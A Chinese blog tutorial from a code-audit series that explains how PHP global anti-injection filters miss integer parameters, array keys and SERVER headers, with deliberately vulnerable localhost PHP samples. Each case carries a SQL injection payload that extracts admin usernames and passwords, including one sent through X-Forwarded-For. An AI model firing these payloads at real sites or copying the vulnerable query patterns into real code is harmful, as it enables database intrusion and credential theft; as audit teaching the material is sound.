影风博客

代码审计的艺术系列 第五篇

2019-03-23

0x00 前言

白帽子分享之代码审计的艺术系列(二、三、四)是对绕过全局防护的场景进行的总结。接下来两篇介绍全局防护存在的盲点。首先是上篇,盲点如下:

1)注入点类似id=1这种整型的参数就会完全无视GPC的过滤;

2)注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;

3)有时候全局的过滤只过滤掉GETPOSTCOOKIE,但是没过滤SERVER等变量。附常见的SERVER变量(具体含义自行百度):

QUERY_STRING
X_FORWARDED_FOR
CLIENT_IP
HTTP_HOST
ACCEPT_LANGUAGE

0x01 准备

知识储备:php基础、MySQL入门

工具:notepad++

服务器环境:wamp

测试代码:

common.php:

<?php
if (!empty($_GET))
{
$_GET  = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE   = addslashes_deep($_COOKIE);
}
function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        if (!get_magic_quotes_gpc())
        {
        $value=is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
        }
        else
        {
        $value=is_array($value) ? array_map('addslashes_deep', $value) : mystrip_tags($value);
        }
        return $value;
    }
}
//获取访问者IP(PHP代码/函数)    
function get_ip(){
    if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
      $ip=getenv("HTTP_CLIENT_IP");
    }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
      $ip=getenv("HTTP_X_FORWARDED_FOR");
    }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
      $ip=getenv("REMOTE_ADDR");
    }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
      $ip=$_SERVER['REMOTE_ADDR'];
    }else{
      $ip="unknown" ;  
    }
    return $ip;  
}
?>

0x02 全局防护盲点总结上篇的脑图

0x03 数字型注入

完全无视GPC的数字型的注入,其实仔细总结下发现还是很多可以学习的地方。

1.传入的参数未做intval转换、构造的sql语句没有单引号保护

缺陷代码:

int1.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC

http://localhost/sqltest/mangdian/int1.php?id=-1 union select 1,2,concat(name,0x23,pass) from admin%23

2.php弱类型语言,判断逻辑错误引发注入

缺陷代码:

int2.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
if($id<1){
$sql = "SELECT * FROM news WHERE id={$id}";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)的逻辑判断,但PHP弱类型语言在逻辑判断上0<10 union select 1<1是等价的,都返回True。所以构造获取管理员账户密码的POC

http://localhost/sqltest/mangdian/int2.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23

3.过程中不全是数字型,忘记加单引号

这种情况是在第一条sql语句里是有单引号保护的,紧接着第二条sql语句没有单引号保护引发的注入,缺陷的代码如下:

int1.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = isset($_GET['id']) ? $_GET['id']: 1;
$sql = "SELECT * FROM news WHERE id='".$id."'";
$result = mysql_query($sql, $conn) or die(mysql_error()); 
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result2, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

第一条sql语句有单引号保护,第二条sql语句没有了单引号保护从而可以进一步注入。构造获取管理员账户密码的POC

http://localhost/sqltest/mangdian/int3.php?id=0 union select 1,2,concat(name,0x23,pass) from admin%23

0x04 数组类型,全局防护只过滤了value/key,未过滤代入查询

全局防护的代码只对数组中的vaule进行了过滤,key未过滤引发注入,全局防护缺陷代码如下:

commonnew.php:

<?php
if (!empty($_GET))
{
$_GET=Add_S($_GET);
}
if (!empty($_POST))
{
$_POST=Add_S($_POST);
}
if (!empty($_COOKIE))
{
$_COOKIE=Add_S($_COOKIE);
}
function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

可以看到,对GETPOSTCOOKIE传递的数组参数只过滤了value,忽视了key,漏洞代码如下:

array.php:

<?php
require_once('commonnew.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title = isset($_POST['title']) ? $_POST['title']: 1;
foreach($title as $key=>$value){
    $sql = "SELECT * FROM news WHERE id='".$key."' and title='".$value."'";
    $result = mysql_query($sql, $conn) or die(mysql_error()); 
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

虽然查询语句中WHERE id='".$key."'有单引号保护,但是全局防护代码就没过滤key就存在注入了,首先POST请求下:

http://localhost/sqltest/mangdian/array.php title[1]=news title

发现可以获取正常内容:

sql语句为:

SELECT * FROM news WHERE id='1' and title='news title'

构造获取管理员账户密码的POST请求:

http://localhost/sqltest/mangdian/array title[-1’ union select 1,2,concat(name,0x23,pass) from admin#]=news title

0x05 SERVER变量未过滤

上面的全局防护只过滤了GETPOSTCOOKIE而忽略了SERVER变量,SERVER变量的注入常常发生在获取用户ip并入库的函数上,类似如下代码(在common.php中):

//获取访问者IP(PHP代码/函数)    
function get_ip(){
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){
    $ip=getenv("HTTP_CLIENT_IP");
}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){
    $ip=getenv("HTTP_X_FORWARDED_FOR");
}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){
    $ip=getenv("REMOTE_ADDR");
}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){
    $ip=$_SERVER['REMOTE_ADDR'];
}else{
    $ip="unknown" ;  
}
return $ip;  
}

通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以可以构造注入语句,缺陷代码如下:

ip.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'braid') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id='".$id."'";;
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

这里可以在请求中添加获取管理员账户密码的POC为:

X-Forwarded-For:-1’ union select 1,2,concat(name,0x23,pass) from admin#

由于SERVER变量没过滤所以这里单引号保护也就没用了。成功获取管理员账户密码如下:

使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章